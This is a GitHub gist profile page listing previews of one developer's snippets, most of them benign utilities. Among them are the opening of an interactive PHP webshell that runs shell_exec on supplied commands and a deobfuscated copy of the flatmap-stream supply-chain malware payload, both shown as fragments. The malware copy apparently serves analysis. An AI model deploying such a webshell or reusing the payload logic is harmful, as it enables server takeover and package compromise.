Skip to content

Instantly share code, notes, and snippets.

View mrpapercut's full-sized avatar

Mischa Rodermond mrpapercut

View GitHub Profile
@mrpapercut
mrpapercut / 01.Callable_COM_Objects.txt
Last active September 29, 2023 13:22
Callable & uncallable COMObjects in wscript/cscript
// The following COMobjects are all callable in cscript with WScript.CreateObject(COMObject)
ADODB.Command is callable!
ADODB.Command.6.0 is callable!
ADODB.Connection is callable!
ADODB.Connection.6.0 is callable!
ADODB.Error is callable!
ADODB.Error.6.0 is callable!
ADODB.Parameter is callable!
ADODB.Parameter.6.0 is callable!
ADODB.Record is callable!
@mrpapercut
mrpapercut / shell.php
Last active April 22, 2025 12:20
Interactive PHP webshell
<?php
function escapetext($text) {
return str_replace("\n", "<br>", htmlentities($text));
}
function exec_command($cmd, $internal = false) {
try {
$shell_exec = shell_exec($cmd);
} catch (Exception $e) {
@mrpapercut
mrpapercut / base64_encode.js
Created June 10, 2018 19:34
base64_encoder.js
const base64_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +
'abcdefghijklmnopqrstuvwxyz' +
'0123456789+/';
const base64_encode = (input) => {
let length = input.length;
let [i, j, k, s] = [0, 0, 0, 0];
let char_array_3 = new Array(3);
@mrpapercut
mrpapercut / binaryclock.js
Last active July 1, 2018 10:30
Binary clock
document.body.style.background ='#000';
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
canvas.width = window.innerWidth - 20;
canvas.height = window.innerHeight - 20;
document.body.appendChild(canvas);
@mrpapercut
mrpapercut / decrypted1.js
Last active April 24, 2020 08:32
flatmap-stream deobfuscated
/*@@*/
module.exports = function (e) {
try {
if (!/build\:.*\-release/.test(process.argv[2]))
return;
var t = process.env.npm_package_description,
r = require("fs"),
i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
n = r.statSync(i),
c = r.readFileSync(i, "utf8"),
@mrpapercut
mrpapercut / createElement.js
Last active September 30, 2023 00:52
ES6-only createElement function
const createElement = (tagname = '') => {
return (...content) => {
const el = document.createElement(tagname);
if (content[0] instanceof Object && !(content[0] instanceof HTMLElement)) {
let attributes = content.shift();
for (let attr in attributes) {
switch (attr) {
case 'events':
@mrpapercut
mrpapercut / forceLatestTweets.js
Created July 23, 2019 11:51
Force Latest Tweets settings for Twitter
// Force latest tweets
let twid_cookie = document.cookie.split(/;\s?/).filter(c => /^twid=/.test(c))[0];
if (twid_cookie) {
let twid = twid_cookie.replace('twid=u%3D', '');
let forceRefresh = false;
// Get DB
let req = window.indexedDB.open('localforage', 2);
req.onerror = ev => {
@mrpapercut
mrpapercut / raw-dns-req.py
Last active August 9, 2024 15:17
Raw DNS requests with python
#!/usr/bin/env python3
import binascii
import socket
import sys
from collections import OrderedDict
# See https://web.archive.org/web/20180919041301/https://routley.io/tech/2017/12/28/hand-writing-dns-messages.html
# See https://tools.ietf.org/html/rfc1035
@mrpapercut
mrpapercut / LICENSE
Last active April 21, 2021 11:17
WTF Public License 2.0 for all code-snippets at gist.github.com/mrpapercut/
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Copyright (C) 2004 Sam Hocevar <[email protected]>
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
@mrpapercut
mrpapercut / UnicodeBlocks.json
Created May 16, 2021 16:26
JSON object of all Unicode blocks
/* "<name of block>": [<start of block>, <end of block>] */
{
"Basic Latin": [0x0000, 0x007F],
"Latin-1 Supplement": [0x0080, 0x00FF],
"Latin Extended-A": [0x0100, 0x017F],
"Latin Extended-B": [0x0180, 0x024F],
"IPA Extensions": [0x0250, 0x02AF],
"Spacing Modifier Letters": [0x02B0, 0x02FF],
"Combining Diacritical Marks": [0x0300, 0x036F],
"Greek and Coptic": [0x0370, 0x03FF],